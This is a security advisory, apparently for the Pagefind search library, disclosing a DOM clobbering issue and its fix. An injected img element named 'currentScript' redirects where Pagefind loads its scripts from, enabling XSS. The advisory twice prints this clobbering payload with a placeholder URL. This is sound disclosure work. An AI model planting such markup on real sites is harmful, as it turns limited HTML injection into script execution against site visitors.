Pagefind initializes its dynamic JavaScript and WebAssembly files relative to the location of the first script you load. This information is gathered by looking up the value of document.currentScript.src
.
It is possible to "clobber" this lookup with otherwise benign HTML on the page, for example:
<img name="currentScript" src="blob:https://xxx.xxx.xxx/ui.js"></img>
This will cause document.currentScript.src
to resolve as an external domain, which will then be used by Pagefind to load dependencies.
This exploit would only work in the case that an attacker could inject HTML to your live, hosted, website. In these cases, this would act as a way to escalate the privilege available to an attacker. This assumes they have the ability to add some elements to the page (for example, img
tags with a name
attribute), but not others, as adding a script
to the page would itself be the XSS vector.
Pagefind has tightened this resolution by ensuring the source is loaded from a valid script element. There are no reports of this being exploited in the wild via Pagefind.
If an attacker can inject benign html, such as:
<img name="currentScript" src="blob:https://xxx.xxx.xxx/ui.js"></img>
they can clobber document.currentScript.src
leading to XSS in your library.
Here is the same attack on webpack that was accepted: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986